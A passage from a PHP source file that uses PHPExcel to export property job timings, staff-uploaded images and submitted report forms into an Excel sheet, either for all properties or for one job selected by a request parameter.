$report_name);\n\t\t\t\t\t\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->mergeCells('A'.$row.':C'.$row);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->getStyle('A'.$row.':C'.$row)\n\t\t\t\t\t->getAlignment()\n\t\t\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(16);\n\t\t\t\t\t$row = $row+2;\n\t\t\t\t\t\n\t\t\t\t\tif($report_name != 'Equip Problems to Report') { \n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Location');\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Property');\n\t\t\t\t\t\t$i=2;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$i=0;\n\t\t\t\t\t}\n\t\t\t\t\t$x = 0;\n\t\t\t\t\t$y = 0;\n\t\t\t\t\tforeach($fbody as $fb)\n\t\t\t\t\t{ \n\t\t\t\t\t\tif($fb->field_type != 'fieldset')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($fb->label == ''){\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage') \n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$fb->label = $fbody[$x]->label.\"-\".$fb->label;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i, $row, $fb->label);\n\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t$y++; \n\t\t\t\t\t\t\n\t\t\t\t\t\t} \n\t\t\t\t\t\telse \n\t\t\t\t\t\t{ \n\t\t\t\t\t\t\tif($y>0) { $x = $x+3;} \n\t\t\t\t\t\t} \n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Name');\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Date');\n\t\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\t\t$locname = $this->objFunction->iFindAll(TBL_SERVICE, array('id'=>$objRow->location_id));\n\t\t\t\t$propname = $this->objFunction->iFindAll(TBL_JOBLOCATION, array('id'=>$objRow->property_id));\n\t\t\t\t$uname = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->submitted_by));\n\t\t\t\t$date = $objRow->submission_date; \n\t\t\t\t$fdata = json_decode($objRow->form_values, true);\n\t\t\t\t$fields = array('db_location','db_property','rid','user_id','timestamp');\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $locname[0]->name);$col++;\t\t\t\t\t\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $propname[0]->job_listing);$col++; \n\t\t\t\t\n\t\t\t\tforeach($fdata as $key=>$val)\n\t\t\t\t{\n\t\t\t\t\tif( ($key != 'form_token') && ($key != 'send') ){\n\t\t\t\t\t\tif( in_array($key, $fields) === false){ \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif($val == '') {\n\t\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, 0);\n\t\t\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\telse { \n\t\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\n\t\t\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif(is_array($val)) \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, implode(',', $val));\t\t \t$col++; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\t\t \t\n\t\t\t\t\t\t\t\t$col++; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} \n\t\t\t\t}\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $uname[0]->f_name . ' ' .$uname[0]->l_name);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, date('Y-m-d h:i A', strtotime($date)));\n\t\t\t\t$row++;\n\t\t\t\t$oldreportname = $report_name;\n\t\t\t\t\n\t\t\t}\n\t\t\t}\n\t\t\t//\n\t\t}\n\t}\n elseif(!isset($_GET['jid']))\n\t{\n\t\t$strSql = \"select id from \".TBL_JOBLOCATION;\n\t\t$propids = $this->objDatabase->dbQuery($strSql);\n\t\t$pids = array();\n\t\tforeach($propids as $propid){ $pids[] = $propid['id'];}\n\t\t//print_r($pids); die;\n\t\t$row=1;\n\t\tforeach($pids as $pid)\n\t\t{\n\t\t\t$oldreportname = '';\n\t\t\tif($row != 1){$row = $row+2;}\n\t\t\t$jobdata = $this->report_details($pid);\n\t\t\t\n\t\t\t// Set the active Excel worksheet to sheet 0\n\t\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\t// Initialise the Excel row number\n\t\t\t$rowCount = 0; \n\t\t\t$propname = $this->propname($pid);\n\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, $propname->job_listing);\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->mergeCells('A'.$row.':E'.$row);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('A'.$row.':E'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(16);\n\t\t\t\n\t\t\t$row = $row+2;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Staff #');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Started By');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'Job Start (or unpause)');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Pause');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Job End');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(5, $row, 'Completed By');\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('F'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t// Build cells\n\t\t\t$row++;\n\t\t\t$count =1;\n\t\t\twhile( $objRow = $jobdata->fetch_object() )\n\t\t\t{ \n\t\t\t\t$col=0;\n\t\t\t\t$startdate = date('Y-m-d h:i:s a', strtotime($objRow->starting_date));\n\t\t\t\tif($objRow->pausing_date != '0000-00-00 00:00:00')\n\t\t\t\t\t$pausedate = date('Y-m-d h:i:s a', strtotime($objRow->pausing_date));\n\t\t\t\telse\n\t\t\t\t\t$pausedate = '00:00 Null';\n\t\t\t\tif($objRow->closing_date != '0000-00-00 00:00:00')\n\t\t\t\t\t$enddate = date('Y-m-d h:i:s a', strtotime($objRow->closing_date));\n\t\t\t\telse\n\t\t\t\t\t$enddate = '00:00 Null';\n\t\t\t\t$closedate = strtotime($objRow->closing_date);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $count);$col++;\n\t\t\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->started_by));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$col++; \n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $startdate);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $pausedate);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $enddate);$col++;\n\t\t\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->closed_by));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$row++; $count++;\n\t\t\t\t \n\t\t\t}\n\t\t\t\n\t\t\t$staffuploadsdata = $this->staffuploads($pid);\n\t\t\t$row = $row + 3\t;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'StaffName');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Date');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Images');\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('C'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('D'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('E'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t\n\t\t\t$row++;\n\t\t\t$supload = array();\n\t\t\twhile($objRow = $staffuploadsdata->fetch_object()) // Fetch the result in the object array\n\t\t\t{\t\n\t\t\t\t$supload[] = get_object_vars($objRow);\t\n\t\t\t}\n\t\t\tforeach($supload as $objRow1)\n\t\t\t{\n\t\t\t\t$col = 2;\n\t\t\t\tforeach($objRow1 as $key=>$value) {\n\t\t\t\t\tif($key == 'images')\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(150);\n\t\t\t\t\t\t$col = $row;\n\t\t\t\t\t\tif (strpos($value, ',') !== false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t\t\t$img = explode(',', $value);\n\t\t\t\t\t\t\tforeach($img as $pimg)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(30);\n\t\t\t\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$pimg; \n\t\t\t\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t\t\t\t\t++$imgcell;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(30);\n\t\t\t\t\t\t\t$image = $value;\n\t\t\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$image; \n\t\t\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telseif($key == 'staff_id')\n\t\t\t\t\t{\n\t\t\t\t\t\t$staffname = $this->staffname($value);\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $staffname->f_name.' '.$staffname->l_name);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t}\n\t\t\t\t\t$col++;\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\t\t\t//\n\t\t\tif( isset($_GET['exp']) && $_GET['exp'] == 'all')\n\t\t\t{\n\t\t\t$row = $row+2;\n\t\t\t$propertyreports = $this->export_property_reports($pid);\n\t\t\twhile($objRow = $propertyreports->fetch_object())\n\t\t\t{ \n\t\t\t\t$col=0;\n\t\t\t\t$fbody = json_decode($objRow->form_body); \n\t\t\t\t$report_name = $objRow->report_name;\n\t\t\t\tif($oldreportname != $report_name){\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, $report_name);\n\t\t\t\t\t\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->mergeCells('A'.$row.':C'.$row);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->getStyle('A'.$row.':C'.$row)\n\t\t\t\t\t->getAlignment()\n\t\t\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(16);\n\t\t\t\t\t$row = $row+2;\n\t\t\t\t\t\n\t\t\t\t\tif($report_name != 'Equip Problems to Report') { \n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Location');\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Property');\n\t\t\t\t\t\t$i=2;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$i=0;\n\t\t\t\t\t}\n\t\t\t\t\t$x = 0;\n\t\t\t\t\t$y = 0;\n\t\t\t\t\tforeach($fbody as $fb)\n\t\t\t\t\t{ \n\t\t\t\t\t\tif($fb->field_type != 'fieldset')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($fb->label == ''){\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage') \n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$fb->label = $fbody[$x]->label.\"-\".$fb->label;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i, $row, $fb->label);\n\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t$y++; \n\t\t\t\t\t\t\n\t\t\t\t\t\t} \n\t\t\t\t\t\telse \n\t\t\t\t\t\t{ \n\t\t\t\t\t\t\tif($y>0) { $x = $x+3;} \n\t\t\t\t\t\t} \n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Name');\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Date');\n\t\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\t\t$locname = $this->objFunction->iFindAll(TBL_SERVICE, array('id'=>$objRow->location_id));\n\t\t\t\t$propname = $this->objFunction->iFindAll(TBL_JOBLOCATION, array('id'=>$objRow->property_id));\n\t\t\t\t$uname = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->submitted_by));\n\t\t\t\t$date = $objRow->submission_date; \n\t\t\t\t$fdata = json_decode($objRow->form_values, true);\n\t\t\t\t$fields = array('db_location','db_property','rid','user_id','timestamp');\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $locname[0]->name);$col++;\t\t\t\t\t\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $propname[0]->job_listing);$col++; \n\t\t\t\t\n\t\t\t\tforeach($fdata as $key=>$val)\n\t\t\t\t{\n\t\t\t\t\tif( ($key != 'form_token') && ($key != 'send') ){\n\t\t\t\t\t\tif( in_array($key, $fields) === false){ \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif($val == '') {\n\t\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, 0);\n\t\t\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\telse { \n\t\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\n\t\t\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif(is_array($val)) \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, implode(',', $val));\t\t \t$col++; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\t\t \t\n\t\t\t\t\t\t\t\t$col++; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} \n\t\t\t\t}\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $uname[0]->f_name . ' ' .$uname[0]->l_name);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, date('Y-m-d h:i A', strtotime($date)));\n\t\t\t\t$row++;\n\t\t\t\t$oldreportname = $report_name;\n\t\t\t\t\n\t\t\t}\n\t\t\t}\n\t\t\t//\n\t\t}\n\t}\n else\n {\n\t$jobdata = $this->report_details($_GET['jid']);\n\t// Set the active Excel worksheet to sheet 0\n\t$objPHPExcel->setActiveSheetIndex(0); \n\t// Initialise the Excel row number\n\t$rowCount = 0; \n\t$row=1;\n\t$propname = $this->propname($_GET['jid']);\n\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t$objPHPExcel->getActiveSheet()->setCellValue('A1', $propname->job_listing);\n\t\n\t$objPHPExcel->getActiveSheet()->mergeCells('A1:E1');\n\t$objPHPExcel->getActiveSheet()\n ->getStyle('A1:E1')\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t$objPHPExcel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true)->setSize(16);\n\t\n\t$row = $row+2;\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Staff #');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Started By');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'Job Start (or unpause)');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Pause');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Job End');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(5, $row, 'Completed By');\n\t\n\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('F'.$row)->getFont()->setBold(true)->setSize(12);\n\t// Build cells\n\t$row++;\n\t$count =1;\n\twhile( $objRow = $jobdata->fetch_object() )\n\t{ \n\t\t$col=0;\n\t\t$startdate = date('Y-m-d h:i:s a', strtotime($objRow->starting_date));\n\t\tif($objRow->pausing_date != '0000-00-00 00:00:00')\n\t\t\t$pausedate = date('Y-m-d h:i:s a', strtotime($objRow->pausing_date));\n\t\telse\n\t\t\t$pausedate = '00:00 Null';\n\t\tif($objRow->closing_date != '0000-00-00 00:00:00')\n\t\t\t$enddate = date('Y-m-d h:i:s a', strtotime($objRow->closing_date));\n\t\telse\n\t\t\t$enddate = '00:00 Null';\n\t\t$closedate = strtotime($objRow->closing_date);\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $count);$col++;\n\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->started_by));\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$col++; \n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $startdate);$col++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $pausedate);$col++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $enddate);$col++;\n\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->closed_by));\n\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$row++; $count++;\n\t\t \n\t}\n\t\n\t$staffuploadsdata = $this->staffuploads($_GET['jid']);\n\t$row = $row + 3\t;\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'StaffName');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Date');\n\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Images');\n\t\n\t$objPHPExcel->getActiveSheet()\n ->getStyle('C'.$row)\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t$objPHPExcel->getActiveSheet()\n ->getStyle('D'.$row)\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t$objPHPExcel->getActiveSheet()\n ->getStyle('E'.$row)\n ->getAlignment()\n ->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t\n\t$row++;\n\t$supload = array();\n\twhile($objRow = $staffuploadsdata->fetch_object()) // Fetch the result in the object array\n\t{\t\n\t\t$supload[] = get_object_vars($objRow);\t\n\t}\n\tforeach($supload as $objRow1)\n\t{\n\t\t$col = 2;\n\t\tforeach($objRow1 as $key=>$value) {\n\t\t\tif($key == 'images')\n\t\t\t{\n\t\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(150);\n\t\t\t\t$col = $row;\n\t\t\t\tif (strpos($value, ',') !== false)\n\t\t\t\t{\n\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t$img = explode(',', $value);\n\t\t\t\t\tforeach($img as $pimg)\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(40);\n\t\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$pimg; \n\t\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t\t\t++$imgcell;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(40);\n\t\t\t\t\t$image = $value;\n\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$image; \n\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\telseif($key == 'staff_id')\n\t\t\t{\n\t\t\t\t$staffname = $this->staffname($value);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $staffname->f_name.' '.$staffname->l_name);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t}\n\t\t\t$col++;\n\t\t}\n\t\t$row++;\n\t}\n\t//\n\tif( isset($_GET['exp']) && $_GET['exp'] == 'all')\n\t{\n\t$row = $row+2;\n\t$propertyreports = $this->export_property_reports($_GET['jid']);\n\twhile($objRow = $propertyreports->fetch_object())\n\t{\n\t\t$col=0;\n\t\t$fbody = json_decode($objRow->form_body); \n\t\t$report_name = $objRow->report_name;\n\t\tif($oldreportname != $report_name){\n\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, 